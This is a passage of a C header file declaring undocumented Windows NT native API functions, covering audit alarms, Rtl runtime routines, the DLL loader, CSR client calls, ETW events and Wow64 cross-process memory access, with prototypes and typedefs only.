SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwAccessCheckByTypeResultListAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN HANDLE ClientToken, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwOpenObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN ACCESS_MASK GrantedAccess, IN OPTIONAL PPRIVILEGE_SET Privileges, IN BOOLEAN ObjectCreation, IN BOOLEAN AccessGranted, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwPrivilegeObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI ZwCloseObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwDeleteObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwPrivilegedServiceAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN PUNICODE_STRING ServiceName, IN HANDLE ClientToken, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI ZwContinue ( IN PCONTEXT ContextRecord, IN BOOLEAN TestAlert ); NTSTATUS NTAPI ZwRaiseException ( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord, IN BOOLEAN FirstChance ); // end_zwapi ULONG DbgPrint( IN PCH Format, ... ); VOID NTAPI DebugService2 ( PVOID Arg1, PVOID Arg2, ULONG Service ); /* __inline LARGE_INTEGER NTAPI RtlLargeIntegerAdd ( LARGE_INTEGER Addend1, LARGE_INTEGER Addend2 ); __inline LARGE_INTEGER NTAPI RtlEnlargedIntegerMultiply ( LONG Multiplicand, LONG Multiplier ); __inline LARGE_INTEGER NTAPI RtlEnlargedUnsignedMultiply ( ULONG Multiplicand, ULONG Multiplier ); __inline ULONG NTAPI RtlEnlargedUnsignedDivide ( IN ULARGE_INTEGER Dividend, IN ULONG Divisor, IN PULONG Remainder OPTIONAL ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerNegate ( LARGE_INTEGER Subtrahend ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerSubtract ( LARGE_INTEGER Minuend, LARGE_INTEGER Subtrahend ); */ LARGE_INTEGER NTAPI RtlExtendedMagicDivide ( LARGE_INTEGER Dividend, LARGE_INTEGER MagicDivisor, CCHAR ShiftCount ); LARGE_INTEGER NTAPI RtlExtendedLargeIntegerDivide ( LARGE_INTEGER Dividend, ULONG Divisor, PULONG Remainder ); LARGE_INTEGER NTAPI RtlLargeIntegerDivide ( LARGE_INTEGER Dividend, LARGE_INTEGER Divisor, PLARGE_INTEGER Remainder ); LARGE_INTEGER NTAPI RtlExtendedIntegerMultiply ( LARGE_INTEGER Multiplicand, LONG Multiplier ); /* __inline LARGE_INTEGER NTAPI RtlConvertLongToLargeInteger ( LONG SignedInteger ); __inline LARGE_INTEGER NTAPI RtlConvertUlongToLargeInteger ( ULONG UnsignedInteger ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerShiftLeft ( LARGE_INTEGER LargeInteger, CCHAR ShiftCount ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerShiftRight ( LARGE_INTEGER LargeInteger, CCHAR ShiftCount ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerArithmeticShift ( LARGE_INTEGER LargeInteger, CCHAR ShiftCount ); __inline BOOLEAN NTAPI RtlCheckBit ( PRTL_BITMAP BitMapHeader, ULONG BitPosition ); */ BOOLEAN NTAPI RtlIsValidOemCharacter ( _Inout_ PWCHAR Char ); PIMAGE_NT_HEADERS NTAPI RtlpImageNtHeader( PVOID Base ); RTL_PATH_TYPE RtlDetermineDosPathNameType_U( IN PCWSTR DosFileName ); PRTL_TRACE_DATABASE RtlTraceDatabaseCreate ( IN ULONG Buckets, IN SIZE_T MaximumSize OPTIONAL, IN ULONG Flags, // OPTIONAL in User mode IN ULONG Tag, // OPTIONAL in User mode IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL ); BOOLEAN RtlTraceDatabaseValidate ( IN PRTL_TRACE_DATABASE Database ); BOOLEAN RtlTraceDatabaseAdd ( IN PRTL_TRACE_DATABASE Database, IN ULONG Count, IN PVOID * Trace, OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL ); BOOLEAN RtlTraceDatabaseFind ( PRTL_TRACE_DATABASE Database, IN ULONG Count, IN PVOID * Trace, OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL ); BOOLEAN RtlTraceDatabaseEnumerate ( PRTL_TRACE_DATABASE Database, OUT PRTL_TRACE_ENUMERATE Enumerate, OUT PRTL_TRACE_BLOCK * TraceBlock ); VOID RtlTraceDatabaseLock ( IN PRTL_TRACE_DATABASE Database ); VOID RtlTraceDatabaseUnlock ( IN PRTL_TRACE_DATABASE Database ); VOID RtlpGetStackLimits ( OUT PULONG_PTR LowLimit, OUT PULONG_PTR HighLimit ); NTSTATUS NTAPI RtlEnterCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI RtlLeaveCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); LOGICAL NTAPI RtlIsCriticalSectionLocked ( IN PRTL_CRITICAL_SECTION CriticalSection ); LOGICAL NTAPI RtlIsCriticalSectionLockedByThread ( IN PRTL_CRITICAL_SECTION CriticalSection ); ULONG NTAPI RtlGetCriticalSectionRecursionCount ( IN PRTL_CRITICAL_SECTION CriticalSection ); LOGICAL NTAPI RtlTryEnterCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI RtlInitializeCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); VOID NTAPI RtlEnableEarlyCriticalSectionEventCreation( VOID ); NTSTATUS NTAPI RtlInitializeCriticalSectionAndSpinCount( PRTL_CRITICAL_SECTION CriticalSection, ULONG SpinCount ); ULONG NTAPI RtlSetCriticalSectionSpinCount( PRTL_CRITICAL_SECTION CriticalSection, ULONG SpinCount ); NTSTATUS NTAPI RtlDeleteCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI LdrDisableThreadCalloutsForDll ( IN PVOID DllHandle ); NTSTATUS NTAPI LdrLoadDll( IN OPTIONAL PWSTR DllPath, IN OPTIONAL PULONG DllCharacteristics, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrUnloadDll( IN PVOID DllHandle ); NTSTATUS NTAPI LdrGetDllHandle( IN OPTIONAL PWSTR DllPath, IN OPTIONAL PULONG DllCharacteristics, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrGetDllHandleEx( IN ULONG Flags, IN OPTIONAL PCWSTR DllPath, IN OPTIONAL PULONG DllCharacteristics, IN PUNICODE_STRING DllName, OUT OPTIONAL PVOID *DllHandle ); NTSTATUS NTAPI LdrGetDllHandleByMapping( IN PVOID Base, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrGetDllHandleByName( IN OPTIONAL PUNICODE_STRING BaseDllName, IN OPTIONAL PUNICODE_STRING FullDllName, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrAddRefDll( IN ULONG Flags, IN PVOID DllHandle ); NTSTATUS NTAPI LdrGetProcedureAddress( IN PVOID DllHandle, IN OPTIONAL PANSI_STRING ProcedureName, IN OPTIONAL ULONG ProcedureNumber, OUT PVOID *ProcedureAddress ); NTSTATUS NTAPI LdrGetProcedureAddressEx( IN PVOID DllHandle, IN OPTIONAL PANSI_STRING ProcedureName, IN OPTIONAL ULONG ProcedureNumber, OUT PVOID *ProcedureAddress, IN ULONG Flags ); NTSTATUS NTAPI LdrLockLoaderLock( IN ULONG Flags, OUT OPTIONAL ULONG *Disposition, OUT PVOID *Cookie ); NTSTATUS NTAPI LdrRelocateImage( IN PVOID NewBase, IN PSTR LoaderName, IN NTSTATUS Success, IN NTSTATUS Conflict, IN NTSTATUS Invalid ); NTSTATUS NTAPI LdrRelocateImageWithBias( IN PVOID NewBase, IN LONGLONG Bias, IN PSTR LoaderName, IN NTSTATUS Success, IN NTSTATUS Conflict, IN NTSTATUS Invalid ); PIMAGE_BASE_RELOCATION NTAPI LdrProcessRelocationBlock( IN ULONG_PTR VA, IN ULONG SizeOfBlock, IN PUSHORT NextOffset, IN LONG_PTR Diff ); BOOLEAN NTAPI LdrVerifyMappedImageMatchesChecksum( IN PVOID BaseAddress, IN SIZE_T NumberOfBytes, IN ULONG FileLength ); NTSTATUS NTAPI LdrQueryModuleServiceTags( IN PVOID DllHandle, OUT PULONG ServiceTagBuffer, _Inout_ PULONG BufferSize ); NTSTATUS NTAPI LdrRegisterDllNotification( IN ULONG Flags, IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, IN PVOID Context, OUT PVOID *Cookie ); NTSTATUS NTAPI LdrUnregisterDllNotification( IN PVOID Cookie ); ULONG NTAPI CsrGetProcessId( ); void NTAPI A_SHAFinal( PSHA_CTX Context, PULONG Result ); PVOID NTAPI A_SHAUpdate( _Inout_ PSHA_CTX, IN PCHAR, IN UINT ); PVOID NTAPI A_SHAInit( _Inout_ PSHA_CTX, OUT PVOID ); BOOLEAN NTAPI RtlDosPathNameToNtPathName_U( IN PCWSTR DosFileName, OUT PUNICODE_STRING NtFileName, OUT PWSTR *FilePart OPTIONAL, PVOID Reserved ); NTSTATUS NTAPI RtlDosPathNameToNtPathName_U_WithStatus( IN PCWSTR DosFileName, OUT PUNICODE_STRING NtFileName, OUT PWSTR *FilePart OPTIONAL, PVOID Reserved // Must be NULL ); PVOID NTAPI RtlAddVectoredExceptionHandler ( IN ULONG First, IN PVECTORED_EXCEPTION_HANDLER Handler ); PVOID NTAPI RtlAddVectoredContinueHandler ( IN ULONG First, IN PVECTORED_EXCEPTION_HANDLER Handler ); NTSTATUS NTAPI RtlAnalyzeProfile ( VOID ); BOOLEAN NTAPI RtlCallVectoredContinueHandlers ( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord ); PVOID RtlEncodePointer( PVOID Ptr ); PVOID RtlDecodePointer( PVOID Ptr ); PVOID RtlEncodeSystemPointer( PVOID Ptr ); PVOID RtlDecodeSystemPointer( PVOID Ptr ); VOID NTAPI RtlDeleteResource( PRTL_RESOURCE Resource ); NTSTATUS NTAPI RtlDeleteSecurityObject( PSECURITY_DESCRIPTOR * ObjectDescriptor ); BOOLEAN RtlDllShutdownInProgress( VOID ); ULONG NTAPI RtlGetCurrentProcessorNumber ( VOID ); #define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 typedef struct _RTL_UNLOAD_EVENT_TRACE { PVOID BaseAddress; // Base address of dll SIZE_T SizeOfImage; // Size of image ULONG Sequence; // Sequence number for this event ULONG TimeDateStamp; // Time and date of image ULONG CheckSum; // Image checksum WCHAR ImageName[32]; // Image name } RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; typedef struct _RTL_UNLOAD_EVENT_TRACE64 { ULONGLONG BaseAddress; // Base address of dll ULONGLONG SizeOfImage; // Size of image ULONG Sequence; // Sequence number for this event ULONG TimeDateStamp; // Time and date of image ULONG CheckSum; // Image checksum WCHAR ImageName[32]; // Image name } RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; typedef struct _RTL_UNLOAD_EVENT_TRACE32 { ULONG BaseAddress; // Base address of dll ULONG SizeOfImage; // Size of image ULONG Sequence; // Sequence number for this event ULONG TimeDateStamp; // Time and date of image ULONG CheckSum; // Image checksum WCHAR ImageName[32]; // Image name } RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; PRTL_UNLOAD_EVENT_TRACE NTAPI RtlGetUnloadEventTrace( VOID ); NTSTATUS NTAPI RtlInitializeProfile( BOOLEAN KernelToo ); typedef BOOLEAN (NTAPI * PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( VOID ); BOOLEAN NTAPI RtlIsThreadWithinLoaderCallout ( VOID ); NTSTATUS NTAPI RtlSetLFHDebuggingInformation( PVOID LFHHeap, PHEAP_DEBUGGING_INFORMATION DebuggingInformation ); ULONG NTAPI RtlMultipleAllocateHeap ( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size, IN ULONG Count, OUT PVOID * Array ); ULONG NTAPI RtlMultipleFreeHeap ( IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Count, OUT PVOID * Array ); NTSTATUS NTAPI RtlNewSecurityObjectEx ( IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, OUT PSECURITY_DESCRIPTOR * NewDescriptor, IN GUID *ObjectType OPTIONAL, IN BOOLEAN IsDirectoryObject, IN ULONG AutoInheritFlags, IN HANDLE Token, IN PGENERIC_MAPPING GenericMapping ); NTSTATUS NTAPI RtlNewSecurityObjectWithMultipleInheritance ( IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, OUT PSECURITY_DESCRIPTOR * NewDescriptor, IN GUID **pObjectType OPTIONAL, IN ULONG GuidCount, IN BOOLEAN IsDirectoryObject, IN ULONG AutoInheritFlags, IN HANDLE Token, IN PGENERIC_MAPPING GenericMapping ); #if !defined(_WINDOWS_) NTSTATUS NTAPI RtlSetHeapInformation ( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, IN PVOID HeapInformation OPTIONAL, IN SIZE_T HeapInformationLength OPTIONAL ); NTSTATUS NTAPI RtlQueryHeapInformation ( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, OUT PVOID HeapInformation OPTIONAL, IN SIZE_T HeapInformationLength OPTIONAL, OUT PSIZE_T ReturnLength OPTIONAL ); #endif NTSTATUS NTAPI RtlQuerySecurityObject ( PSECURITY_DESCRIPTOR ObjectDescriptor, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR ResultantDescriptor, ULONG DescriptorLength, PULONG ReturnLength ); NTSTATUS NTAPI RtlRegisterWait( OUT PHANDLE WaitHandle, IN HANDLE Handle, IN WAITORTIMERCALLBACKFUNC Function, IN PVOID Context, IN ULONG Milliseconds, IN ULONG Flags ); ULONG NTAPI RtlRemoveVectoredContinueHandler ( IN PVOID Handle ); ULONG NTAPI RtlRemoveVectoredExceptionHandler ( IN PVOID Handle ); NTSTATUS NTAPI RtlSetIoCompletionCallback( IN HANDLE FileHandle, IN APC_CALLBACK_FUNCTION CompletionProc, IN ULONG Flags ); NTSTATUS NTAPI RtlSetSecurityObject( SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR ModificationDescriptor, PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, PGENERIC_MAPPING GenericMapping, HANDLE Token ); NTSTATUS NTAPI RtlSetSecurityObjectEx( IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR ModificationDescriptor, _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, IN ULONG AutoInheritFlags, IN PGENERIC_MAPPING GenericMapping, IN HANDLE Token OPTIONAL ); typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( struct _EXCEPTION_POINTERS *ExceptionInfo ); typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; VOID RtlSetUnhandledExceptionFilter ( PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter ); NTSTATUS NTAPI RtlStartProfile ( VOID ); NTSTATUS NTAPI RtlStopProfile ( VOID ); NTSTATUS RtlWow64EnableFsRedirection( IN BOOLEAN Wow64FsEnableRedirection ); NTSTATUS RtlWow64EnableFsRedirectionEx( IN PVOID Wow64FsEnableRedirection, OUT PVOID *OldFsRedirectionLevel ); NTSTATUS NTAPI RtlRegisterWait( OUT PHANDLE WaitHandle, IN HANDLE Handle, IN WAITORTIMERCALLBACKFUNC Function, IN PVOID Context, IN ULONG Milliseconds, IN ULONG Flags ); NTSTATUS NTAPI RtlDeregisterWait( IN HANDLE WaitHandle ); NTSTATUS NTAPI RtlDeregisterWaitEx( IN HANDLE WaitHandle, IN HANDLE Event ); #define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) #define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) #define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) #define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) #define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) NTSTATUS NTAPI RtlCopyMappedMemory ( PVOID pDest, CONST PVOID pSrc, SIZE_T bytesToCopy ); typedef VOID (*PKNORMAL_ROUTINE) (IN PVOID NormalContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2 ); VOID KiUserCallbackDispatcher( IN ULONG ApiNumber, IN PVOID InputBuffer, IN ULONG INputLength ); NTSTATUS NTAPI CsrClientConnectToServer( IN PWSTR ObjectDirectory, IN ULONG ServertDllIndex, IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, IN PVOID ConnectionInformation, _Inout_ PULONG ConnectionInformationLength OPTIONAL, OUT PBOOLEAN CalledFromServer OPTIONAL ); NTSTATUS NTAPI CsrClientCallServer( _Inout_ PCSR_API_MSG m, _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, IN CSR_API_NUMBER ApiNumber, IN ULONG ArgLength ); PCSR_CAPTURE_HEADER NTAPI CsrAllocateCaptureBuffer( IN ULONG CountMessagePointers, IN ULONG CountCapturePointers, IN ULONG Size ); VOID NTAPI CsrFreeCaptureBuffer( IN PCSR_CAPTURE_HEADER CaptureBuffer ); ULONG NTAPI CsrAllocateMessagePointer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN ULONG Length, OUT PVOID *Pointer ); VOID NTAPI CsrCaptureMessageBuffer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PVOID Buffer OPTIONAL, IN ULONG Length, OUT PVOID *CapturedBuffer ); VOID NTAPI CsrCaptureMessageString( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PCSTR String, IN ULONG Length, IN ULONG MaximumLength, OUT PSTRING CapturedString ); PLARGE_INTEGER NTAPI CsrCaptureTimeout( IN ULONG Milliseconds, OUT PLARGE_INTEGER Timeout ); VOID NTAPI CsrProbeForWrite( IN PVOID Address, IN ULONG Length, IN ULONG Alignment ); VOID NTAPI CsrProbeForRead( IN PVOID Address, IN ULONG Length, IN ULONG Alignment ); NTSTATUS NTAPI CsrNewThread( VOID ); NTSTATUS NTAPI CsrIdentifyAlertableThread( VOID ); NTSTATUS NTAPI CsrSetPriorityClass( IN HANDLE ProcessHandle, _Inout_ PULONG PriorityClass ); //added 20/03/2011 NTSTATUS NTAPI RtlCreateProcessReflection( IN HANDLE ProcessHandle, IN ULONG Flags, IN OPTIONAL PVOID StartRoutine, IN OPTIONAL PVOID StartContext, IN OPTIONAL HANDLE EventHandle, OUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation ); NTSTATUS NTAPI RtlCloneUserProcess( IN ULONG ProcessFlags, IN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, IN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, IN OPTIONAL HANDLE DebugPort, OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation ); VOID NTAPI LdrShutdownProcess( ); NTSTATUS NTAPI RtlQueryProcessModuleInformation( IN HANDLE hProcess OPTIONAL, IN ULONG Flags, _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessBackTraceInformation( _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessHeapInformation( _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessLockInformation( _Inout_ PRTL_DEBUG_INFORMATION Buffer ); PRTL_DEBUG_INFORMATION NTAPI RtlCreateQueryDebugBuffer( IN ULONG MaximumCommit OPTIONAL, IN BOOLEAN UseEventPair ); NTSTATUS NTAPI RtlDestroyQueryDebugBuffer( IN PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessDebugInformation( IN HANDLE UniqueProcessId, IN ULONG Flags, _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlCreateTimer( IN HANDLE TimerQueueHandle, OUT HANDLE *Handle, IN WAITORTIMERCALLBACKFUNC Function, IN PVOID Context, IN ULONG DueTime, IN ULONG Period, IN ULONG Flags ); NTSTATUS NTAPI RtlCreateTimerQueue( PHANDLE TimerQueueHandle ); NTSTATUS NTAPI RtlUpdateTimer( IN HANDLE TimerQueueHandle, IN HANDLE TimerHandle, IN ULONG DueTime, IN ULONG Period ); NTSTATUS NTAPI RtlDeleteTimer( IN HANDLE TimerQueueHandle, IN HANDLE TimerToCancel, IN HANDLE Event ); NTSTATUS NTAPI RtlDeleteTimerQueue( IN HANDLE TimerQueueHandle ); NTSTATUS NTAPI RtlDeleteTimerQueueEx( IN HANDLE TimerQueueHandle, IN HANDLE Event ); BOOLEAN NTAPI RtlDoesFileExists_U( PCWSTR FileName ); ULONG RtlGetCurrentDirectory_U( ULONG nBufferLength, PWSTR lpBuffer ); NTSTATUS RtlSetCurrentDirectory_U( PUNICODE_STRING PathName ); ULONG RtlDosSearchPath_U( IN PWSTR lpPath, IN PWSTR lpFileName, IN PWSTR lpExtension OPTIONAL, IN ULONG nBufferLength, OUT PWSTR lpBuffer, OUT PWSTR *lpFilePart ); void NTAPI RtlInitString( PSTRING DestinationString, PCSZ SourceString ); ULONG NTAPI RtlGetFullPathName_U( IN PCWSTR lpFileName, IN ULONG nBufferLength, OUT PWSTR lpBuffer, OUT OPTIONAL PWSTR *lpFilePart ); LONG NTAPI RtlCompareString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); NTSTATUS NTAPI LdrRegisterDllNotification( IN ULONG Flags, IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, IN PVOID Context, OUT PVOID *Cookie ); NTSTATUS NTAPI LdrUnregisterDllNotification( IN PVOID Cookie ); ULONG NTAPI EtwRegisterSecurityProvider(); ULONG NTAPI EtwWriteUMSecurityEvent( PCEVENT_DESCRIPTOR EventDescriptor, USHORT EventProperty, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData); ULONG NTAPI EtwEventWriteEndScenario( REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData ); ULONG NTAPI EtwEventWriteFull( REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, USHORT EventProperty, LPCGUID ActivityId, LPCGUID RelatedActivityId, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData ); ULONG NTAPI EtwEventWriteStartScenario( REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData ); // // old channel apis, from nt4 // NTSTATUS NTAPI NtCreateChannel ( OUT PHANDLE ChannelHandle, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL ); NTSTATUS NTAPI NtOpenChannel ( OUT PHANDLE ChannelHandle, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtListenChannel ( IN HANDLE ChannelHandle, OUT PCHANNEL_MESSAGE *Message ); NTSTATUS NTAPI NtSendWaitReplyChannel ( IN HANDLE ChannelHandle, IN PVOID Text, IN ULONG Length, OUT PCHANNEL_MESSAGE *Message ); NTSTATUS NTAPI NtReplyWaitSendChannel ( IN PVOID Text, IN ULONG Length, OUT PCHANNEL_MESSAGE *Message ); ULONG NTAPI AlpcUnregisterCompletionListWorkerThread( PVOID CompletionList ); void NTAPI RtlUpdateClonedCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI RtlGetFullPathName_UstrEx( PUNICODE_STRING FileName, PUNICODE_STRING StaticString, PUNICODE_STRING DynamicString, PPUNICODE_STRING StringUsed, PULONG FilePartPrefixCch, PUCHAR NameInvalid, PRTL_PATH_TYPE InputPathType, PULONG BytesRequired); int NTAPI LdrInitShimEngineDynamic( PVOID pShimEngineModule); NTSTATUS NTAPI NtCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, IN OPTIONAL PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); NTSTATUS NTAPI NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN OPTIONAL ULONG TitleIndex, IN ULONG Type, IN OPTIONAL PVOID Data, IN ULONG DataSize ); NTSTATUS NTAPI NtDeleteFile ( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI RtlGetVersion( OUT PRTL_OSVERSIONINFOW lpVersionInformation ); NTSTATUS NTAPI ZwWow64QueryInformationProcess64( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwWow64QueryVirtualMemory64( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI ZwWow64ReadVirtualMemory64( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI ZwWow64WriteVirtualMemory64( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); void NTAPI ZwWow64GetCurrentProcessorNumberEx( OUT PPROCESSOR_NUMBER ProcNumber ); PCSR_CAPTURE_HEADER NTAPI ZwWow64CsrAllocateCaptureBuffer( IN ULONG CountMessagePointers, IN ULONG CountCapturePointers, IN ULONG Size ); ULONG NTAPI ZwWow64CsrAllocateMessagePointer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN ULONG Length, OUT PVOID *Pointer ); void NTAPI ZwWow64CsrCaptureMessageBuffer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PVOID Buffer OPTIONAL, IN ULONG Length, OUT PVOID *CapturedBuffer ); void NTAPI ZwWow64CsrCaptureMessageString( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PCSTR String, IN ULONG Length, IN ULONG MaximumLength, OUT PSTRING CapturedString ); NTSTATUS NTAPI ZwWow64CsrClientConnectToServer( IN PWSTR ObjectDirectory, IN ULONG ServerDllIndex, IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, IN PVOID ConnectionInformation, _Inout_ PULONG ConnectionInformationLength OPTIONAL, OUT PBOOLEAN CalledFromServer OPTIONAL ); void NTAPI ZwWow64CsrFreeCaptureBuffer( IN PCSR_CAPTURE_HEADER CaptureBuffer ); NTSTATUS NTAPI ZwWow64CsrIdentifyAlertableThread( void ); 